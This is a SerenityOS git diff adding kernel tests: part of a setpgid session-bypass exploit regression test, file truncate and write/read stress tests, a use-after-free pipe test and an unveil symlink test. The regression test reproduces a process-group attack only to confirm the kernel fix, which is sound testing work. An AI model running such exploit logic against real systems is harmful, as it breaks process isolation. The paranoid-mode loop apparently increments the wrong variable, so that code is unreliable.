dbgln("PB1 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
dbgln("PB1 calls setsid()");
|
||||
int rc = setsid();
|
||||
if (rc < 0) {
|
||||
perror("setsid (PB)");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
dbgln("PB1 did setsid() -> PGB={}, SB={}, yay!", rc, getsid(0));
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 6: PB1 forks into PB2
|
||||
dbgln("PB1 forks into PB2");
|
||||
fork_into(run_pb2, pipe_fd_ptr);
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 7: PB1 dies (PGB now has no leader)
|
||||
dbgln("PB1 dies. You should see a 'Reaped unparented process' "
|
||||
"message with my ID next, OR THIS TEST IS MEANINGLESS "
|
||||
"(see fork_into()).");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
static void simulate_sid_from_pgid(pid_t pgid)
|
||||
{
|
||||
pid_t rc = getpgid(pgid); // Same confusion as in the Kernel
|
||||
int saved_errno = errno;
|
||||
if (rc < 0 && saved_errno == ESRCH) {
|
||||
dbgln("The old get_sid_from_pgid({}) would return -1", pgid);
|
||||
} else if (rc >= 0) {
|
||||
dbgln("FAIL: Process {} still exists?! PGID is {}.", pgid, rc);
|
||||
} else {
|
||||
perror("pgid (probably fail)");
|
||||
}
|
||||
}
|
||||
|
||||
static void run_pb2(void* pipe_fd_ptr)
|
||||
{
|
||||
// Time 6: PB1 forks into PB2
|
||||
sleep_steps(2);
|
||||
|
||||
// Time 8: PB2 calls pgrp(0, PGA)
|
||||
// Note: PB2 writes "1" (exploit successful) or "0" (bug is fixed) to a pipe
|
||||
dbgln("PB2 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
dbgln("PB2 calls pgrp(0, PGA)");
|
||||
int pga = getpid() - 3;
|
||||
dbgln("PB2: Actually, what is PGA? I guess it's {}?", pga);
|
||||
simulate_sid_from_pgid(pga);
|
||||
int rc = setpgid(0, pga);
|
||||
unsigned char to_write = 123;
|
||||
if (rc == 0) {
|
||||
dbgln("PB2: setgpid SUCCESSFUL! CHANGED PGROUP!");
|
||||
to_write = 1;
|
||||
} else {
|
||||
VERIFY(rc == -1);
|
||||
switch (errno) {
|
||||
case EACCES:
|
||||
dbgln("PB2: Failed with EACCES. Huh?!");
|
||||
to_write = 101;
|
||||
break;
|
||||
case EINVAL:
|
||||
dbgln("PB2: Failed with EINVAL. Huh?!");
|
||||
to_write = 102;
|
||||
break;
|
||||
case ESRCH:
|
||||
dbgln("PB2: Failed with ESRCH. Huh?!");
|
||||
to_write = 103;
|
||||
break;
|
||||
case EPERM:
|
||||
dbgln("PB2: Failed with EPERM. Aww, no exploit today :^)");
|
||||
to_write = 0;
|
||||
break;
|
||||
default:
|
||||
dbgln("PB2: Failed with errno={}?!", errno);
|
||||
perror("setpgid");
|
||||
to_write = 104;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
dbgln("PB2 ends with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
int* pipe_fd = static_cast<int*>(pipe_fd_ptr);
|
||||
VERIFY(*pipe_fd);
|
||||
rc = write(*pipe_fd, &to_write, 1);
|
||||
if (rc != 1) {
|
||||
dbgln("Wrote only {} bytes instead of 1?!", rc);
|
||||
exit(1);
|
||||
}
|
||||
exit(0);
|
||||
}
|
48
Tests/Kernel/stress-truncate.cpp
Normal file
48
Tests/Kernel/stress-truncate.cpp
Normal file
|
@ -0,0 +1,48 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Random.h>
|
||||
#include <LibCore/ArgsParser.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
const char* target = nullptr;
|
||||
int max_file_size = 1024 * 1024;
|
||||
int count = 1024;
|
||||
|
||||
Core::ArgsParser args_parser;
|
||||
args_parser.add_option(max_file_size, "Maximum file size to generate", "max-size", 's', "size");
|
||||
args_parser.add_option(count, "Number of truncations to run", "number", 'n', "number");
|
||||
args_parser.add_positional_argument(target, "Target file path", "target");
|
||||
args_parser.parse(argc, argv);
|
||||
|
||||
int fd = creat(target, 0666);
|
||||
if (fd < 0) {
|
||||
perror("Couldn't create target file");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
auto new_file_size = AK::get_random<uint64_t>() % (max_file_size + 1);
|
||||
printf("(%d/%d)\tTruncating to %" PRIu64 " bytes...\n", i + 1, count, new_file_size);
|
||||
if (truncate(target, new_file_size) < 0) {
|
||||
perror("Couldn't truncate target file");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
if (unlink(target) < 0) {
|
||||
perror("Couldn't remove target file");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
155
Tests/Kernel/stress-writeread.cpp
Normal file
155
Tests/Kernel/stress-writeread.cpp
Normal file
|
@ -0,0 +1,155 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Random.h>
|
||||
#include <LibCore/ArgsParser.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
bool verify_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer);
|
||||
bool write_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer);
|
||||
|
||||
bool verify_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer)
|
||||
{
|
||||
auto offset = block * buffer.size();
|
||||
auto rs = lseek(fd, offset, SEEK_SET);
|
||||
if (rs < 0) {
|
||||
fprintf(stderr, "Couldn't seek to block %" PRIi64 " (offset %" PRIi64 ") while verifying: %s\n", block, offset, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
auto rw = read(fd, buffer.data(), buffer.size());
|
||||
if (rw != static_cast<int>(buffer.size())) {
|
||||
fprintf(stderr, "Failure to read block %" PRIi64 ": %s\n", block, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
srand((seed + 1) * (block + 1));
|
||||
for (size_t i = 0; i < buffer.size(); i++) {
|
||||
if (buffer[i] != rand() % 256) {
|
||||
fprintf(stderr, "Discrepancy detected at block %" PRIi64 " offset %zd\n", block, i);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool write_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer)
|
||||
{
|
||||
auto offset = block * buffer.size();
|
||||
auto rs = lseek(fd, offset, SEEK_SET);
|
||||
if (rs < 0) {
|
||||
fprintf(stderr, "Couldn't seek to block %" PRIi64 " (offset %" PRIi64 ") while verifying: %s\n", block, offset, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
srand((seed + 1) * (block + 1));
|
||||
for (size_t i = 0; i < buffer.size(); i++)
|
||||
buffer[i] = rand();
|
||||
auto rw = write(fd, buffer.data(), buffer.size());
|
||||
if (rw != static_cast<int>(buffer.size())) {
|
||||
fprintf(stderr, "Failure to write block %" PRIi64 ": %s\n", block, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
const char* target = nullptr;
|
||||
int min_block_offset = 0;
|
||||
int block_length = 2048;
|
||||
int block_size = 512;
|
||||
int count = 1024;
|
||||
int rng_seed = 0;
|
||||
bool paranoid_mode = false;
|
||||
bool random_mode = false;
|
||||
bool stop_mode = false;
|
||||
bool uninitialized_mode = false;
|
||||
|
||||
Core::ArgsParser args_parser;
|
||||
args_parser.add_option(min_block_offset, "Minimum block offset to consider", "min-offset", 'o', "size");
|
||||
args_parser.add_option(block_length, "Number of blocks to consider", "length", 's', "size");
|
||||
args_parser.add_option(block_size, "Block size", "block-size", 'b', "size");
|
||||
args_parser.add_option(count, "Number of write/read cycles to run", "number", 'n', "number");
|
||||
args_parser.add_option(rng_seed, "Random number generator seed", "seed", 'S', "number");
|
||||
args_parser.add_option(paranoid_mode, "Check entire range for consistency after each write", "paranoid", 'p');
|
||||
args_parser.add_option(random_mode, "Write one block inside range at random", "random", 'r');
|
||||
args_parser.add_option(stop_mode, "Stop after first error", "abort-on-error", 'a');
|
||||
args_parser.add_option(uninitialized_mode, "Don't pre-initialize block range", "uninitialized", 'u');
|
||||
args_parser.add_positional_argument(target, "Target device/file path", "target");
|
||||
args_parser.parse(argc, argv);
|
||||
|
||||
auto buffer = AK::ByteBuffer::create_zeroed(block_size);
|
||||
|
||||
int fd = open(target, O_CREAT | O_RDWR, 0666);
|
||||
if (fd < 0) {
|
||||
perror("Couldn't create target file");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
if (!uninitialized_mode) {
|
||||
int old_percent = -100;
|
||||
for (int i = min_block_offset; i < min_block_offset + block_length; i++) {
|
||||
int percent;
|
||||
if (block_length <= 1)
|
||||
percent = 100;
|
||||
else
|
||||
percent = 100 * (i - min_block_offset) / (block_length - 1);
|
||||
if (old_percent != percent) {
|
||||
printf("Pre-initializing entire block range (%3d%%)...\n", percent);
|
||||
old_percent = percent;
|
||||
}
|
||||
|
||||
if (!write_block(fd, rng_seed, i, buffer))
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
int r = EXIT_SUCCESS;
|
||||
for (int i = 0; i < count; i++) {
|
||||
printf("(%d/%d)\tPass %d...\n", i + 1, count, i + 1);
|
||||
|
||||
for (int j = min_block_offset; j < min_block_offset + block_length; j++) {
|
||||
off_t block;
|
||||
if (random_mode)
|
||||
while ((block = AK::get_random<off_t>()) < 0)
|
||||
;
|
||||
else
|
||||
block = j;
|
||||
block = min_block_offset + block % block_length;
|
||||
|
||||
if (paranoid_mode) {
|
||||
for (int k = min_block_offset; j < min_block_offset + block_length; j++) {
|
||||
if (!verify_block(fd, rng_seed, k, buffer)) {
|
||||
if (stop_mode)
|
||||
return EXIT_FAILURE;
|
||||
else
|
||||
r = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if (!verify_block(fd, rng_seed, block, buffer)) {
|
||||
if (stop_mode)
|
||||
return EXIT_FAILURE;
|
||||
else
|
||||
r = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
if (!write_block(fd, rng_seed, block, buffer)) {
|
||||
if (stop_mode)
|
||||
return EXIT_FAILURE;
|
||||
else
|
||||
r = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
close(fd);
|
||||
return r;
|
||||
}
|
41
Tests/Kernel/uaf-close-while-blocked-in-read.cpp
Normal file
41
Tests/Kernel/uaf-close-while-blocked-in-read.cpp
Normal file
|
@ -0,0 +1,41 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int pipefds[2];
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pipe(pipefds);
|
||||
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
printf("Second thread closing pipes!\n");
|
||||
close(pipefds[0]);
|
||||
close(pipefds[1]);
|
||||
pthread_exit(nullptr);
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
printf("First thread doing a blocking read from pipe...\n");
|
||||
char buffer[16];
|
||||
ssize_t nread = read(pipefds[0], buffer, sizeof(buffer));
|
||||
if (nread != 0) {
|
||||
printf("FAIL, read %zd bytes from pipe\n", nread);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("PASS\n");
|
||||
|
||||
return 0;
|
||||
}
|
76
Tests/Kernel/unveil-symlinks.cpp
Normal file
76
Tests/Kernel/unveil-symlinks.cpp
Normal file
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
* Copyright (c) 2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
rmdir("/tmp/foo/1");
|
||||
rmdir("/tmp/foo");
|
||||
unlink("/tmp/bar");
|
||||
|
||||
if (mkdir("/tmp/foo", 0755) < 0) {
|
||||
perror("mkdir");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (mkdir("/tmp/foo/1", 0755) < 0) {
|
||||
perror("mkdir");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (symlink("/tmp/foo", "/tmp/bar")) {
|
||||
perror("symlink");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (unveil("/tmp/foo", "r") < 0) {
|
||||
perror("unveil");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (unveil(nullptr, nullptr) < 0) {
|
||||
perror("unveil");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int fd = open("/tmp/foo/1", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
fd = open("/tmp/bar/1", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
fprintf(stderr, "FAIL, symlink was not unveiled\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (chdir("/tmp")) {
|
||||
perror("chdir");
|
||||
return 1;
|
||||
}
|
||||
|
||||
fd = open("./foo/1", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
fd = open("./bar/1", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
fprintf(stderr, "FAIL, symlink was not unveiled\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue